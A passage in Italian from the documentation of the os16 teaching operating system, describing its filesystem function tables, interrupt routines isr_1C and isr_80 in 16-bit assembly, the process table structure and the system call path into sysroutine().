Funzione	Descrizione
`int path_chdir (pid_t `***pid***`,` `const char *`***path***`);`	Cambia la directory corrente, utilizzando il nuovo percorso indicato. È l'equivalente della funzione standard ***chdir()*** (sezione 98.3).
`int path_chmod (pid_t `***pid***`,` `const char *`***path***`,` `mode_t `***mode***`);`	Cambia la modalità di accesso al file indicato. È l'equivalente della funzione standard ***chmod()*** (sezione 98.4).
`int path_chown (pid_t `***pid***`,` `const char *`***path***`,` `uid_t `***uid***`,` `gid_t `***gid***`);`	Cambia l'utente e il gruppo proprietari del file (va però ricordato che os16 non considera i gruppi, anche se nel file system sono annotati). È l'equivalente della funzione standard ***chown()*** (sezione 98.5).
`dev_t path_device (pid_t `***pid***`,` `const char *`***path***`);`	Restituisce il numero del dispositivo di un file di dispositivo; pertanto, il percorso deve fare riferimento a un file di dispositivo, per poter ottenere un risultato valido.
`inode_t *path_inode (pid_t `***pid***`,` `const char *`***path***`);`	Apre l'inode del file indicato tramite il percorso, purché il processo ***pid*** abbia i permessi di accesso («x») alle directory che vi conducono. La funzione restituisce il puntatore all'inode aperto, oppure il puntatore nullo se non può eseguire l'operazione.

Funzione	Descrizione
`inode_t *path_inode_link (pid_t` ***pid***`, const char *`***path***`, inode_t *`***inode***`, mode_t` ***mode***`);`	Crea un collegamento fisico con il nome fornito in ***path***, riferito all'inode a cui punta ***inode***, ma se ***inode*** fosse un puntatore nullo, verrebbe semplicemente creato un file vuoto con un nuovo inode. Si richiede inoltre che il processo ***pid*** abbia i permessi di accesso per tutte le directory che portano al file da collegare e che nell'ultima ci sia anche il permesso di scrittura, dovendo intervenire su tale directory in questo modo. Se la funzione riesce nel proprio intento, restituisce il puntatore a ciò che descrive l'inode collegato o creato.
`int path_link (pid_t` ***pid***`, const char *`***path_old***`, const char *`***path_new***`);`	Crea un collegamento fisico. È l'equivalente della funzione standard ***link()*** (sezione 98.23).
`int path_mkdir (pid_t` ***pid***`, const char *`***path***`, mode_t` ***mode***`);`	Crea una directory, con la modalità dei permessi indicata. È l'equivalente della funzione standard ***mkdir()*** (sezione 98.25).
`int path_mknod (pid_t` ***pid***`, const char *`***path***`, mode_t` ***mode***`, dev_t` ***device***`);`	Crea un file vuoto, con il tipo e i permessi specificati da ***mode***; se si tratta di un file di dispositivo, viene preso in considerazione anche il parametro ***device***, per specificare il numero primario e secondario dello stesso. Va osservato che con questa funzione è possibile creare una directory priva delle voci '`.`' e '`..`'. È l'equivalente della funzione standard ***mknod()*** (sezione 98.26).
`int path_stat (pid_t` ***pid***`, const char *`***path***`, struct stat *`***buffer***`);`	Aggiorna la variabile strutturata a cui punta ***buffer***, con le informazioni sul file specificato. È l'equivalente della funzione standard ***stat()*** (sezione 98.36).
`int path_unlink (pid_t` ***pid***`, const char *`***path***`);`	Cancella un file o una directory, purché questa sia vuota. È l'equivalente della funzione standard ***unlink()*** (sezione 98.42).
`int path_mount (pid_t` ***pid***`, const char *`***path_dev***`, const char *`***path_mnt***`, int` ***options***`);`	Innesta il dispositivo corrispondente a ***path_dev***, nella directory ***path_mnt*** (tenendo conto della directory corrente del processo ***pid***), con le opzioni specificate, per conto dell'utente ***uid***. Le opzioni disponibili sono solo '**`MOUNT_DEFAULT`**' e '**`MOUNT_RO`**', come dichiarato nel file di intestazione '`lib/sys/os16.h`'.
`int path_umount (pid_t` ***pid***`, const char *`***path_mnt***`);`	Stacca l'unità innestata nella directory indicata, purché nulla al suo interno sia attualmente in uso.

95.7.8 File «kernel/fs/fd_...»

I file '`kernel/fs/fd_...`' descrivono le funzioni che fanno riferimento a file o directory attraverso il numero di descrittore, riferito a sua volta a un certo processo elaborativo. Pertanto, il numero del processo e il numero del descrittore sono i primi due parametri obbligatori di tutte queste funzioni.

Tabella 95.59. Funzioni per la gestione dei file, a cui si fa riferimento attraverso il descrittore, relativamente a un certo processo elaborativo. La funzione ***fd_open()*** fa eccezione, in quanto apre un descrittore, ma per identificare il file non ancora aperto, ne richiede il percorso.

Funzione	Descrizione
`int fd_chmod (pid_t` ***pid***`, int` ***fdn***`, mode_t` ***mode***`);`	Cambia la modalità dei permessi (solo gli ultimi 12 bit del parametro ***mode*** vengono considerati). È l'equivalente della funzione standard ***fchmod()*** (sezione 98.4).
`int fd_chown (pid_t` ***pid***`, int` ***fdn***`, uid_t` ***uid***`, gid_t` ***gid***`);`	Cambia la proprietà (utente e gruppo). È l'equivalente della funzione standard ***fchown()*** (sezione 98.5).
`int fd_close (pid_t` ***pid***`, int` ***fdn***`);`	Chiude il descrittore di file. È l'equivalente della funzione standard ***close()*** (sezione 98.7).
`int fd_dup (pid_t` ***pid***`, int` ***fdn_old***`, int` ***fdn_min***`);`	Duplica il descrittore ***fdn_old***, creandone un altro con numero maggiore o uguale a ***fdn_min*** (viene scelto il primo libero a partire da ***fdn_num***). È l'equivalente della funzione standard ***dup()*** (sezione 98.8).
`int fd_dup2 (pid_t` ***pid***`, int` ***fdn_old***`, int` ***fdn_new***`);`	Duplica il descrittore ***fdn_old***, creandone un altro con numero ***fdn_new***. Se però ***fdn_new*** è già aperto, prima della duplicazione questo viene chiuso. È l'equivalente della funzione standard ***dup2()*** (sezione 98.8).
`int fd_fcntl (pid_t` ***pid***`, int` ***fdn***`, int` ***cmd***`, int` ***arg***`);`	Svolge il compito della funzione standard ***fcntl()*** (sezione 98.13).
`off_t fd_lseek (pid_t` ***pid***`, int` ***fdn***`, off_t` ***offset***`, int` ***whence***`);`	Riposiziona l'indice interno di accesso del descrittore di file. È l'equivalente della funzione standard ***lseek()*** (sezione 98.24).
`int fd_open (pid_t` ***pid***`, const char *`***path***`, int` ***oflags***`, mode_t` ***mode***`);`	Apre un descrittore, fornendo però il percorso del file. È l'equivalente della funzione standard ***open()*** (sezione 98.28).
`ssize_t fd_read (pid_t` ***pid***`, int` ***fdn***`, void *`***buffer***`, size_t` ***count***`, int *`***eof***`);`	Legge da un descrittore, aggiornando eventualmente la variabile ****eof*** in caso di fine del file. È l'equivalente della funzione standard ***read()*** (sezione 98.29).
`fd_t *fd_reference (pid_t` ***pid***`, int *`***fdn***`);`	Produce il puntatore ai dati del descrittore ****fdn***. Se ****fdn*** è minore di zero, si ottiene il riferimento al primo descrittore libero, aggiornando anche ****fdn*** stesso.

Funzione	Descrizione
`int fd_stat (pid_t pid, int fdn, struct stat *buffer);`	Svolge il compito della funzione standard ***fstat()*** (sezione 98.36).
`ssize_t fd_write (pid_t pid, int fdn, const void *buffer, size_t count);`	Scrive nel descrittore. È l'equivalente della funzione standard ***write()*** (sezione 98.44).

95.8 Gestione dei processi

La gestione dei processi è raccolta nei file '`kernel/proc.h`' e '`kernel/proc/...`', dove il file '`kernel/proc/_isr.s`', in particolare, contiene il codice attivato dalle interruzioni. Nella semplicità di os16, ci sono solo due interruzioni che vengono gestite: quella del temporizzatore il quale produce un impulso 18,2 volte al secondo, e quella causata dalle chiamate di sistema.

Con os16, quando un processo viene interrotto, per lo svolgimento del compito dell'interruzione, si passa sempre a utilizzare la pila dei dati del kernel. Per annotare la posizione in cui si trova l'indice della pila del kernel si usa la variabile ***_ksp***, accessibile anche dal codice in linguaggio C.

Il codice del kernel può essere interrotto dagli impulsi del temporizzatore, ma in tal caso non viene coinvolto lo schedulatore per lo scambio con un altro processo, così che dopo l'interruzione è sempre il kernel che continua a funzionare; pertanto, nella funzione ***main()*** è il kernel che cede volontariamente il controllo a un altro processo (ammesso che ci sia) con una chiamata di sistema nulla.

95.8.1 File «kernel/proc/_isr.s» e «kernel/proc/_ivt_load.s»

Listati 105.9.1 e 105.9.2.

Il file '`kernel/proc/_isr.s`' contiene il codice per la gestione delle interruzioni dei processi. Nella parte iniziale del file, vengono dichiarate delle variabili, alcune delle quali sono pubbliche e accessibili anche dal codice in C.

```
...
proc_ss_0:        .word 0x0000
proc_sp_0:        .word 0x0000
proc_ss_1:        .word 0x0000
proc_sp_1:        .word 0x0000
proc_syscallnr:   .word 0x0000
proc_msg_offset:  .word 0x0000
proc_msg_size:    .word 0x0000
__ksp:            .word 0x0000
__clock_ticks:
ticks_lo:         .word 0x0000
ticks_hi:         .word 0x0000
__clock_seconds:
```

```
seconds_lo:      .word 0x0000
seconds_hi:      .word 0x0000
…
```

Si tratta di variabili scalari da 16 bit, tenendo conto che: i simboli '**`ticks_lo`**' e '**`ticks_hi`**' compongono assieme la variabile ***_clock_ticks*** a 32 bit per il linguaggio C; i simboli '**`seconds_lo`**' e '**`seconds_hi`**' compongono assieme la variabile ***_clock_seconds*** a 32 bit per il linguaggio C.

Dopo la dichiarazione delle variabili inizia il codice vero e proprio. Il simbolo '**`isr_1C`**' si riferisce al codice da usare in presenza dell'interruzione $1C_{16}$, mentre il simbolo '**`isr_80`**' riguarda l'interruzione 80_{16}.

Nel file '`kernel/proc/_ivt_load.s`', la funzione ***_ivt_load()*** che inizia con il simbolo '**`__ivt_load`**', modifica la tabella IVT (*Interrupt vector table*) in modo che le interruzioni $1C_{16}$ e 80_{16} portino all'esecuzione del codice che inizia rispettivamente in corrispondenza dei simboli '**`isr_1C`**' e '**`isr_80`**' (del file '`kernel/proc/_isr.s`').

```
…
__ivt_load:
    enter #0, #0                ; No local variables.
    pushf
    cli
    pusha
    ;
    mov   ax,   #0              ; Change the DS segment to 0.
    mov   ds,   ax              ;
    ;
    mov   bx,   #112            ; Timer         INT 0x08 (8) --> 0x1C
    mov   [bx], #isr_1C         ; offset
    mov   bx,   #114            ;
    mov   [bx], cs              ; segment
    ;
    mov   bx,   #512            ; Syscall       INT 0x80 (128)
    mov   [bx], #isr_80         ; offset
    mov   bx,   #514            ;
    mov   [bx], cs              ; segment
    ;
    mov   ax,   #0x0050         ; Put the DS segment back to the right
    mov   ds,   ax              ; value.
    ;
    popa
    popf
    leave
    ret
```

Per compiere il suo lavoro, la funzione ***_ivt_load()*** salva inizialmente lo stato degli indicatori contenuti nel registro ***FLAGS*** e gli altri registri principali, quindi modifica il registro ***DS*** in

modo che il segmento dati corrisponda allo zero, per poter accedere al contenuto della tabella IVT (che inizia proprio dall'indirizzo 00000_{16}). A quel punto, all'indirizzo efficace 00070_{16} (112_{10}) scrive l'indirizzo relativo del simbolo '**`isr_1C`**' (l'indirizzo relativo al segmento codice attuale) e il valore del segmento codice all'indirizzo efficace 00072_{16} (114_{10}). Nello stesso modo agisce per il simbolo '**`isr_80`**', scrivendo il suo indirizzo relativo all'indirizzo efficace 00200_{16} (512_{10}), assieme al valore del segmento codice che va invece in 00202_{16} (514_{10}). In tal modo, quando scatta l'interruzione $1C_{16}$ che deriva dalla scansione del temporizzatore interno, viene eseguito il codice che si trova nella voce corrispondente della tabella IVT, ovvero, proprio ciò che comincia con il simbolo '**`isr_1C`**', mentre quando scatta l'interruzione 80_{16} si ottiene l'esecuzione del codice che si trova a partire dal simbolo '**`isr_80`**'.

Figura 95.62. Modifica della tabella IVT attraverso la funzione ***_ivt_load()***. Il valore del segmento codice è sicuramente 1050_{16}, in quanto si tratta di quello del kernel, il quale va a collocarsi in quella posizione.

Le interruzioni previste con os16 sono solo due: quella del temporizzatore (*timer*) che invia un impulso a 18,2 Hz circa e quella che serve per le chiamate di sistema. Per la precisione, il temporizzatore fa scattare l'interruzione 08_{16}, ma se si utilizza il codice del BIOS, non può essere ridiretta; pertanto, il codice predefinito per tale interruzione, al termine del suo compito, fa scattare l'interruzione $1C_{16}$, la quale può essere ridiretta come appena mostrato.

Il codice per le due interruzioni gestite è simile, con la differenza fondamentale che per l'interruzione proveniente dal temporizzatore si incrementano i contatori rappresentati dalle variabili ***_clock_ticks*** e ***_clock_seconds***. Il codice equivalente della gestione delle due interruzioni è il seguente:

```
...
isr_1C:|isr_80:
    push   es   ; extra segment
    push   ds   ; data segment
    push   di   ; destination index
    push   si   ; source index
    push   bp   ; base pointer
    push   bx   ; BX
    push   dx   ; DX
    push   cx   ; CX
    push   ax   ; AX
```

```
     ;
     mov ax, #0x0050  ; DS and ES.
     mov ds, ax       ;
     mov es, ax       ;
     …
     …
     pop    ax
     pop    cx
     pop    dx
     pop    bx
     pop    bp
     pop    si
     pop    di
     pop    ds
     pop    es
     ;
     iret
…
```

Mentre viene eseguito il codice che si trova a partire da '`isr_1C`' o da '`isr_80`', il segmento codice è quello del kernel, ma quello dei dati è quello del processo che è stato interrotto poco prima. Nella pila dei dati di quel processo, nel momento in cui viene raggiunto questo codice ci sono già i valori di alcuni registri, nello stato in cui erano al verificarsi dell'interruzione: ***FLAGS***, ***CS***, ***IP***. Come si vede dal codice appena mostrato, si aggiungono nella pila altri registri.

Figura 95.64. Inserimento nella pila del processo interrotto.

inizio della routine

AX
CX
DX
BX
BP
SI
DII
DS
ES
IP
CS
FLAGS

inserimento all'inizio della routine ISR

inserimento dovuto all'interruzione

pila del processo interrotto

fine della routine

AX
CX
DX
BX
BP
SI
DII
DS
ES
IP
CS
FLAGS

estrazione alla fine della routine ISR

estrazione dovuta all'istruzione "iret"

pila precedente

Dopo il salvataggio nella pila dei registri principali, viene modificato il valore dei registri ***DS*** e ***ES***, per consentire l'accesso alle variabili dichiarate all'inizio del file '`kernel/_isr.s`'. Il valore che si attribuisce a tali registri è 0050_{16}, perché il segmento dati del kernel inizia all'indirizzo efficace 00500_{16}. Va osservato che il segmento usato per la pila dei dati non viene ancora modificato e rimane nel segmento dati del processo interrotto.

A questo punto iniziano le differenze tra le due routine di gestione delle interruzioni. In ogni caso rimane il principio di massima, descritto intuitivamente dalla figura successiva, per cui si scambia la pila del processo interrotto con quella del kernel, poi si esegue la chiamata di sistema o si attiva lo schedulatore, quindi si passa nuovamente alla pila di un processo, il quale può essere diverso da quello interrotto.

Figura 95.65. Scambi delle pile.

inizio della routine
pila del processo
interrotto
AX
CX
DX
BX
BP
SI
DII
DS
ES
IP
CS
FLAGS
inserimento all'inizio della routine ISR
inserimento dovuto alla interruzione
pila del processo interrotto
passaggio alla pila del kernel
_ksp
#proc_sp
#proc_ss
pila del kernel al momento della interruzione
_ksp
#proc_sp
#proc_ss
pila del kernel al momento della interruzione
passaggio alla pila di un altro processo
fine della routine
pila di un altro processo
AX
CX
DX
BX
BP
SI
DII
DS
ES
IP
CS
FLAGS
estrazione alla fine della routine ISR
estrazione dovuta all'istruzione "iret"
pila precedente del processo attuale

95.8.1.1 Routine «isr_1C»

Dopo il salvataggio dei registri principali e dopo il cambiamento del segmento dati, rimanendo ancora sulla pila dei dati del processo interrotto, la routine '**isr_1C**' si occupa di incrementare i contatori degli impulsi e dei secondi:

```
...
isr_1C:
    ...
    add ticks_lo, #1     ; Clock ticks counter.
    adc ticks_hi, #0     ;
    ;
    mov dx, ticks_hi     ;
    mov ax, ticks_lo     ; DX := ticks % 18
    mov cx, #18          ;
    div cx               ;
    mov ax, #0           ; If the ticks value can be divided by 18,
    cmp ax, dx           ; the seconds is incremented by 1.
    jnz L1               ;
    add seconds_lo, #1   ;
    adc seconds_hi, #0   ;
    ;
L1:
    ...
```

Per semplificare i calcoli, si considera che ogni 18 impulsi sia trascorso un secondo e di conseguenza va interpretata la divisione che viene eseguita. In ogni caso, quando si arriva al simbolo '**L1**' le variabili sono state aggiornate correttamente.

A questo punto viene salvato il valore del segmento in cui si trova la pila dei dati e l'indice all'interno della stessa, usando delle variabili locali, le quali non sono però accessibili dal codice in linguaggio C:

```
…
L1:
    mov proc_ss_0, ss   ; Save process stack segment.
    mov proc_sp_0, sp   ; Save process stack pointer.
    …
```

Poi si verifica se la pila dei dati del processo interrotto si trova nel kernel. In tal caso, il suo segmento avrebbe il valore 0050_{16}. Se il segmento dati è proprio quello del kernel, si saltano le istruzioni successive, riprendendo dal ripristino dei registri dalla pila dei dati (dal simbolo '**L2**').

```
    …
    mov dx, proc_ss_0
    mov ax, #0x0050     ; Kernel data area.
    cmp dx, ax
    je L2
    …
```

Se non è il kernel che è stato interrotto, si fa in modo di saltare all'utilizzo della pila dei dati del kernel. Per fare questo viene sostituito il valore del registro '**SS**', facendo in modo che corrisponda al segmento dati del kernel stesso, quindi si modifica il valore del registro '**SP**', mettendovi il valore salvato precedentemente nella variabile ***_ksp*** (ovvero il simbolo '**__ksp**').

```
    …
    mov ax, #0x0050     ; Kernel data area.
    mov ss, ax
    mov sp, __ksp
    …
```

Nella variabile ***_ksp*** c'è sicuramente l'indice della pila del kernel, aggiornata dalla funzione ***proc_scheduler()***. Tale aggiornamento della variabile ***_ksp*** avviene quando il gestore dei processi elaborativi sospende il codice del kernel per mettere in funzione un altro processo.

A questo punto, il contesto esecutivo è diventato quello del kernel, provenendo però dall'interruzione di un altro processo. Quindi viene chiamata la funzione di attivazione dello schedulatore: ***proc_scheduler()***. Tale funzione richiede dei parametri e gli vengono forniti i puntatori alle variabili contenenti il segmento e l'indice della pila dei dati del processo interrotto.

```
    …
    push #proc_ss_0     ; &proc_ss_0
    push #proc_sp_0     ; &proc_sp_0
```

```
call _proc_scheduler
add  sp, #2
add  sp, #2
…
```

Al termine del lavoro della funzione ***proc_scheduler()***, i valori contenuti nelle variabili rappresentate dai simboli '**`proc_ss_0`**' e '**`proc_sp_0`**' possono essere stati sostituiti con quelli di un altro processo da attivare al posto di quello interrotto precedentemente. Infatti, i registri ***SS*** e ***SP*** vengono sostituiti subito dopo:

```
…
mov ss, proc_ss_0   ; Restore process stack segment.
mov sp, proc_sp_0   ; Restore process stack pointer.
…
```

Infine, si ripristinano gli altri registri, traendo i dati dalla nuova pila.

95.8.1.2 Routine «isr_80»

Dopo il salvataggio dei registri principali e dopo il cambiamento del segmento dati, rimanendo ancora sulla pila dei dati del processo interrotto, la routine '**`isr_80`**' salva il valore del segmento in cui si trova la pila dei dati e l'indice all'interno della stessa, usando delle variabili locali, le quali non sono però accessibili dal codice in C:

```
…
mov proc_ss_1, ss   ; Save process stack segment.
mov proc_sp_1, sp   ; Save process stack pointer.
…
```

Vengono quindi salvati dei dati contenuti ancora nella pila attuale, utilizzando delle variabili statiche, che però non sono accessibili dal codice C:

```
…
mov bp, sp
mov ax, +26[bp]
mov proc_syscallnr,  ax
mov ax, +28[bp]
mov proc_msg_offset, ax
mov ax, +30[bp]
mov proc_msg_size,   ax
…
```

Finalmente si passa a verificare se il processo interrotto è il kernel o meno: se si tratta proprio del kernel, il valore del registro ***SP*** viene salvato nella variabile ***_ksp***.

```
    …
    mov dx, ss
    mov ax, #0x0050     ; Kernel data area.
    cmp dx, ax
    jne L3
    mov __ksp, sp
L3:
    …
```

Successivamente si scambia la pila dei dati attuale, passando a quella del kernel, utilizzando la variabile ***_ksp*** per modificare il registro ***SP***. Naturalmente si comprende che se il codice interrotto era già quello del kernel, la sostituzione non cambia in pratica i valori che già avevano i registri ***SS*** e ***SP***:

```
    …
L3:
    mov ax, #0x0050     ; Kernel data area.
    mov ss, ax
    mov sp, __ksp
    …
```

Quando la pila dei dati in funzione è quella del kernel, si passa alla chiamata della funzione ***sysroutine()***, passandole come parametri i dati raccolti precedentemente dalla pila del processo interrotto, fornendo anche i puntatori alle variabili che contengono i dati necessari a raggiungere tale pila.

```
    …
    push proc_msg_size
    push proc_msg_offset
    push proc_syscallnr
    push #proc_ss_1     ; &proc_ss_1
    push #proc_sp_1     ; &proc_sp_1
    call _sysroutine
    add  sp, #2
    add  sp, #2
    add  sp, #2
    add  sp, #2
    add  sp, #2
    …
```

La funzione ***sysroutine()*** chiama a sua volta la funzione ***proc_scheduler()***, la quale può modificare il contenuto delle variabili rappresentate dai simboli '**`proc_ss_1`**' e '**`proc_sp_1`**'; pertanto, quando i valori di tali variabili vengono usati per rimpiazzare il contenuto dei registri ***SS*** e ***SP***, si ottiene lo scambio a un processo diverso da quello interrotto inizialmente.

```
…
mov ss, proc_ss_1   ; Restore process stack segment.
mov sp, proc_sp_1   ; Restore process stack pointer.
…
```

Infine, si ripristinano gli altri registri, traendo i dati dalla nuova pila.

95.8.2 La tabella dei processi

Listato 105.9.

Nel file ‘kernel/proc.h’ viene definito il tipo ‘**proc_t**’, con il quale, nel file ‘kernel/proc/proc_table.c’ si definisce la tabella dei processi, rappresentata dall’array ***proc_table[]***.

Figura 95.78. Struttura del tipo ‘**proc_t**’, corrispondente agli elementi dell’array ***proc_table[]***.

ppid: pid genitore
pgrp: pid del gruppo
uid: identità reale
euid: identità efficace
sid: identitàsalvata
terminale di controllo
cwd: directory corrente in forma di percorso
cwd: directory corrente in forma di puntatore a inode
umask
segnali attivati
segnali inibiti
tempo di utilizzo in quantità di impulsi
stato del processo
eventi attesi
segnale atteso
tempo da attendere
indirizzo efficace delle istruzioni
segmento istruzioni
dimensione istruzioni
indirizzo efficace dei dati
segmento dati
dimensione dati
sp: indice della pila
valore restituito al termine
nome del processo
tabella dei descrittori dei file del processo

```
typedef struct {
  pid_t             ppid;
  pid_t             pgrp;
  uid_t             uid;
  uid_t             euid;
  uid_t             suid;
  dev_t             device_tty;
  char              path_cwd[PATH_MAX];
  inode_t          *inode_cwd;
  int               umask;
  unsigned long int sig_status;
  unsigned long int sig_ignore;
  clock_t           usage;
  unsigned int      status;
  int               wakeup_events;
  int               wakeup_signal;
  unsigned int      wakeup_timer;
  addr_t            address_i;
  segment_t         segment_i;
  size_t            size_i;
  addr_t            address_d;
  segment_t         segment_d;
  size_t            size_d;
  uint16_t          sp;
  int               ret;
  char              name[PATH_MAX];
  fd_t              fd[FOPEN_MAX];
} proc_t;
```

La tabella successiva descrive il significato dei vari membri previsti dal tipo ‘**proc_t**’. Va osservato che os16 non gestisce i gruppi di utenti, anche se questi sono previsti comunque nel file system, pertanto la tabella dei processi è più semplice rispetto a quella di un sistema conforme allo standard di Unix. Un’altra considerazione va fatta a proposito della cosiddetta «u-area» (*user area*), la quale non viene gestita come un sistema Unix tradizionale e tutti i dati dei processi sono raccolti nella tabella gestita dal kernel. Di conseguenza, dal momento che

i processi non dispongono di una tabella personale con i dati della u-area, devono avvalersi sempre di chiamate di sistema per leggere i dati del proprio processo.

Tabella 95.79. Membri del tipo '**proc_t**'.

Membro	Contenuto
ppid	Numero del processo genitore: *parent process id*.
pgrp	Numero del gruppo di processi a cui appartiene quello della voce corrispondente: *process group*. Si tratta del numero del processo a partire dal quale viene definito il gruppo.
uid	Identità reale del processo della voce corrispondente: *user id*. Si tratta del numero dell'utente, secondo la classificazione del file '/etc/passwd', per conto del quale il processo è stato avviato. Tuttavia, i privilegi del processo dipendono dall'identità efficace, definita dal membro '**euid**'.
euid	Identità efficace del processo della voce corrispondente: *effective user id*. Si tratta del numero dell'utente, secondo la classificazione del file '/etc/passwd', per conto del quale il processo è in funzione; pertanto, il processo ha i privilegi di quell'utente.
suid	Identità salvata: *saved user id*. Si tratta del valore che aveva ***euid*** prima di cambiare identità.
device_tty	Terminale di controllo, espresso attraverso il numero del dispositivo.
path_cwd inode_cwd	Entrambi i membri rappresentano la directory corrente del processo: nel primo caso in forma di percorso, ovvero di stringa, nel secondo in forma di puntatore a inode rappresentato in memoria.
umask	Maschera dei permessi associata al processo: i permessi attivi nella maschera vengono tolti in fase di creazione di un file o di una directory.
sig_status	Segnali inviati al processo e non ancora trattati: ogni segnale si associa a un bit differente del valore del membro ***sig_status***; un bit a uno indica che il segnale corrispondente è stato ricevuto e non ancora trattato.
sig_ignore	Segnali che il processo ignora: ogni segnale da ignorare si associa a un bit differente del valore del membro ***sig_ignore***; un bit a uno indica che quel segnale va ignorato.
usage	Tempo di utilizzo della CPU, da parte del processo, espresso in impulsi del temporizzatore, il quale li produce alla frequenza di circa 18,2 Hz.
status	Stato del processo, rappresentabile attraverso una macro-variabile simbolica, definita nel file 'proc.h'. Per os16, gli stati possibili sono: «inesistente», quando si tratta di una voce libera della tabella dei processi; «creato», quando un processo è appena stato creato; «pronto», quando un processo è pronto per essere eseguito, «in esecuzione», quando il processo è in funzione; «sleeping», quando un processo è in attesa di qualche evento; «zombie», quando un processo si è concluso, ha liberato la memoria, ma rimangono le sue tracce perché il genitore non ha ancora recepito la sua fine.
wakeup_events	Eventi attesi per il risveglio del processo, ammesso che si trovi nello stato si attesa. Ogni tipo di evento che può essere atteso corrisponde a un bit e si rappresenta con una macro-variabile simbolica, dichiarata nel file 'lib/sys/os16.h'.

Membro	Contenuto
`wakeup_signal`	Ammesso che il processo sia in attesa di un segnale, questo membro esprime il numero del segnale atteso.
`wakeup_timer`	Ammesso che il processo sia in attesa dello scadere di un conto alla rovescia, questo membro esprime il numero di secondi che devono ancora trascorrere.
`address_i` `segment_i` `size_i`	Il valore di questi membri descrive la memoria utilizzata dal processo per le istruzioni (il segmento codice). Le informazioni sono in parte ridondanti, perché conoscendo ***segment_i*** si ottiene facilmente ***address_i*** e viceversa, ma ciò consente di ridurre i calcoli nelle funzioni che ne fanno uso.
`address_d` `segment_d` `size_d`	Il valore di questi membri descrive la memoria utilizzata dal processo per i dati (il segmento usato per le variabili statiche e per la pila). Anche in questo caso, le informazioni sono in parte ridondanti, ma ciò consente di semplificare il codice nelle funzioni che ne fanno uso.
`sp`	Indice della pila dei dati, nell'ambito del segmento dati del processo. Il valore è significativo quando il processo è nello stato di pronto o di attesa di un evento. Quando invece un processo era attivo e viene interrotto, questo valore viene aggiornato.
`ret`	Rappresenta il valore restituito da un processo terminato e passato nello stato di «zombie».
`name`	Il nome del processo, rappresentato dal nome del programma avviato.
`fd`	Tabella dei descrittori dei file relativi al processo.

95.8.3 Chiamate di sistema

I processi eseguono una chiamata di sistema attraverso la funzione ***sys()***, dichiarata nel file '`lib/sys/os16/sys.s`'. La funzione in sé, per come è dichiarata, potrebbe avere qualunque parametro, ma in pratica ci si attende che il suo prototipo sia il seguente:

```
void sys (syscallnr, void *message, size_t size);
```

Il numero della chiamata di sistema, richiesto come primo parametro, si rappresenta attraverso una macro-variabile simbolica, definita nel file '`lib/sys/os16.h`'.

Per fornire dei dati a quella parte di codice che deve svolgere il compito richiesto, si usa una variabile strutturata, di cui viene trasmesso il puntatore (riferito al segmento dati del processo che esegue la chiamata) e la dimensione complessiva.

Nel file '`lib/sys/os16.h`' sono definiti dei tipi derivati, riferiti a variabili strutturate, per ogni tipo di chiamata. Per esempio, per la chiamata di sistema usata per cambiare la directory corrente del processo, si usa un messaggio di tipo '**`sysmsg_chdir_t`**':

```
typedef struct {
    char        path[PATH_MAX];
    int         ret;
    int         errno;
    int         errln;
    char        errfn[PATH_MAX];
} sysmsg_chdir_t;
```

In realtà, la funzione ***sys()***, si limita a produrre un'interruzione software, da cui viene attivata la routine che inizia al simbolo '**`isr_80`**' nel file '`kernel/_isr.s`', la quale estrapola le informazioni salienti dalla pila dei dati e poi le fornisce alla funzione ***sysroutine()***:

```
void sysroutine (uint16_t *sp, segment_t *segment_d,
                 uint16_t syscallnr, uint16_t msg_off, uint16_t msg_size);
```

Nella funzione ***sysroutine()***, gli ultimi tre parametri corrispondono in pratica agli argomenti della chiamata della funzione ***sys()***, con la differenza che nei vari passaggi hanno perso l'identità originaria e giungono come numeri puri e semplici, secondo la «parola» del tipo di architettura utilizzato.

95.8.4 File «kernel/proc/...»

Listati successivi a 105.9.

Nella directory '`kernel/proc/`' si trovano i file che realizzano le funzioni dichiarate all'interno di '`kernel/proc.h`'.

Nella gestione dei processi entrano in gioco due variabili globali importanti: ***_ksp*** e ***_etext***. La prima è dichiarata nel file '`kernel/_isr.s`' e viene utilizzata per annotare l'indice della pila dei dati del kernel; la seconda è dichiarata implicitamente dal collegatore (*linker*) e contiene la dimensione dell'area occupata in memoria dal codice del kernel stesso.

Nel file '`kernel/proc/proc_table.c`' è dichiarata la tabella dei processi, attraverso un array composto da elementi di tipo '**`proc_t`**'. La quantità di elementi di questo array costituisce il limite alla quantità di processi gestibili simultaneamente, incluso il kernel e i processi zombie.

Per accedere uniformemente al contenuto della tabella, si usa la funzione ***proc_reference()***, la quale, con l'indicazione del numero del processo (PID), restituisce il puntatore all'elemento della tabella che contiene i dati dello stesso.

Nelle sezioni successive si descrivono solo le funzioni principali della directory '`kernel/proc/`'.

95.8.4.1 Funzione «proc_init()»

```
void proc_init (void);
```

La funzione ***proc_init()*** viene chiamata dalla funzione ***main()***, una volta sola, per attivare la gestione dei processi elaborativi. Si occupa di compiere le azioni seguenti:

- modificare la tabella delle interruzioni (IVT), attraverso la chiamata della funzione ***_ivt_load()*** (per comodità si usa la macro-istruzione ***ivt_load()***), dichiarata nel file '`kernel/proc/_ivt_load.s`';
- impostare la frequenza del temporizzatore, ma tale frequenza deve essere obbligatoriamente di 18,2 Hz;
- azzerare la tabella dei processi;
- innestare il file system principale;
- assegnare i valori appropriati alla voce della tabella dei processi che si riferisce al kernel (PID zero);
- allocare la memoria già utilizzata dal kernel e lo spazio che va da zero fino a 00500_{16} (tabella IVT e BDA);
- attivare selettivamente le interruzioni hardware desiderate.

95.8.4.2 Funzione «sysroutine()»

La funzione ***sysroutine()*** viene chiamata esclusivamente dalla routine attivata dalle chiamate di sistema (tale routine è introdotta dal simbolo '**`isr_80`**' nel file '`kernel/proc/_isr.s`') e ha una serie di parametri, come si può vedere dal prototipo:

```
void sysroutine (uint16_t *sp, segment_t *segment_d,
                 uint16_t syscallnr, uint16_t msg_off, uint16_t msg_size);
```

I primi due parametri della funzione sono puntatori a variabili dichiarate nel file '`kernel/proc/_isr.s`'. La prima delle due variabili è l'indice della pila dei dati del processo che ha eseguito la chiamata di sistema; la seconda contiene l'indirizzo del segmento dati di tale processo. Il valore del segmento dati serve a individuare il processo elaborativo nella tabella dei processi, dal momento che con os16 i dati non sono condivisibili tra processi.

Il terzo parametro è il numero della chiamata di sistema che ha provocato l'interruzione. Gli ultimi due parametri danno la posizione e la dimensione del messaggio inviato attraverso la chiamata di sistema.

All'inizio della funzione viene individuato il processo elaborativo corrispondente a quello che utilizza il segmento dati ****segment_d*** e l'indirizzo efficace dell'area di memoria contenente il messaggio della chiamata di sistema:

```
